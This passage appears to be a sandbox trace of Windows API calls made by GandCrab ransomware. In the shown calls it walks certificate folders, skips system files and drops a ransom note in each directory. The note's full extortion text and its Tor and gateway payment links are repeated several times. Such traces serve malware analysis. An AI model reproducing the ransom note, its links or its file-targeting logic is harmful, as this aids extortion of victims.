(lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.322] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\") returned 83 [0054.322] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*" [0054.322] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x5b8c30 [0054.322] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.322] FindNextFileW (in: hFindFile=0x5b8c30, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.322] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.322] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.322] FindNextFileW (in: hFindFile=0x5b8c30, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0054.322] FindClose (in: hFindFile=0x5b8c30 | out: hFindFile=0x5b8c30) returned 1 [0054.322] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.322] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\\\GDCB-DECRYPT.txt") returned 100 [0054.322] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\systemcertificates\\my\\certificates\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500 [0054.323] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.323] WriteFile (in: hFile=0x500, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e864, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e864*=0xad6, lpOverlapped=0x0) returned 1 [0054.323] CloseHandle (hObject=0x500) returned 1 [0054.323] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.323] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\") returned 83 [0054.323] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*" [0054.323] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x5b8870 [0054.324] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.324] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.324] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.324] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.324] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.324] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.324] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.324] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\GDCB-DECRYPT.txt" [0054.324] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.324] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\GDCB-DECRYPT.txt") returned 99 [0054.324] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\GDCB-DECRYPT.txt") returned 99 [0054.324] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\GDCB-DECRYPT.txt") returned 99 [0054.324] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\GDCB-DECRYPT.txt") returned 99 [0054.324] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.324] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.324] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.324] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.324] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.324] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.324] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.324] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.324] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.324] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.324] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0054.324] FindClose (in: hFindFile=0x5b8870 | out: hFindFile=0x5b8870) returned 1 [0054.325] FindNextFileW (in: hFindFile=0x5b8d30, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.325] lstrcmpW (lpString1="CRLs", lpString2=".") returned 1 [0054.325] lstrcmpW (lpString1="CRLs", lpString2="..") returned 1 [0054.325] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="CRLs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs" [0054.325] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\" [0054.325] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.325] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.325] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.325] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.325] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.325] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.325] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\") returned 75 [0054.325] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*" [0054.325] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x5b8870 [0054.325] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.325] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.326] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.326] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.326] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0054.326] FindClose (in: hFindFile=0x5b8870 | out: hFindFile=0x5b8870) returned 1 [0054.326] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.326] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\\\GDCB-DECRYPT.txt") returned 92 [0054.326] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\systemcertificates\\my\\crls\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500 [0054.326] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.326] WriteFile (in: hFile=0x500, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e864, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e864*=0xad6, lpOverlapped=0x0) returned 1 [0054.327] CloseHandle (hObject=0x500) returned 1 [0054.327] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.327] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\") returned 75 [0054.327] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*" [0054.327] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x5b85b0 [0054.327] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.327] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.327] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.327] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.327] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.327] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.327] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.327] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\GDCB-DECRYPT.txt" [0054.327] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.327] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\GDCB-DECRYPT.txt") returned 91 [0054.327] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\GDCB-DECRYPT.txt") returned 91 [0054.327] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\GDCB-DECRYPT.txt") returned 91 [0054.327] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\GDCB-DECRYPT.txt") returned 91 [0054.327] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.327] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.327] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.327] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.328] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.328] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.328] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.328] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.328] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.328] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.328] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0054.328] FindClose (in: hFindFile=0x5b85b0 | out: hFindFile=0x5b85b0) returned 1 [0054.328] FindNextFileW (in: hFindFile=0x5b8d30, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.328] lstrcmpW (lpString1="CTLs", lpString2=".") returned 1 [0054.328] lstrcmpW (lpString1="CTLs", lpString2="..") returned 1 [0054.328] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="CTLs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs" [0054.328] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\" [0054.328] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.328] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.328] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.328] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.328] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.328] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.328] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\") returned 75 [0054.328] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*" [0054.328] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x5b89b0 [0054.328] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.328] FindNextFileW (in: hFindFile=0x5b89b0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.329] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.329] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.329] FindNextFileW (in: hFindFile=0x5b89b0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0054.329] FindClose (in: hFindFile=0x5b89b0 | out: hFindFile=0x5b89b0) returned 1 [0054.329] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.329] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\\\GDCB-DECRYPT.txt") returned 92 [0054.329] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\systemcertificates\\my\\ctls\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500 [0054.329] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.329] WriteFile (in: hFile=0x500, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e864, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e864*=0xad6, lpOverlapped=0x0) returned 1 [0054.330] CloseHandle (hObject=0x500) returned 1 [0054.330] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.330] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\") returned 75 [0054.330] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*" [0054.330] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x5b8770 [0054.330] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.330] FindNextFileW (in: hFindFile=0x5b8770, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.330] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.330] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.330] FindNextFileW (in: hFindFile=0x5b8770, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.330] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.330] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.330] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\GDCB-DECRYPT.txt" [0054.331] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.331] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\GDCB-DECRYPT.txt") returned 91 [0054.331] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\GDCB-DECRYPT.txt") returned 91 [0054.331] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\GDCB-DECRYPT.txt") returned 91 [0054.331] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\GDCB-DECRYPT.txt") returned 91 [0054.331] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.331] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.331] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.331] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.331] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.331] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.331] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.331] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.331] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.331] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.331] FindNextFileW (in: hFindFile=0x5b8770, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0054.331] FindClose (in: hFindFile=0x5b8770 | out: hFindFile=0x5b8770) returned 1 [0054.331] FindNextFileW (in: hFindFile=0x5b8d30, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.331] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.331] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.331] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\GDCB-DECRYPT.txt" [0054.331] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.331] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: 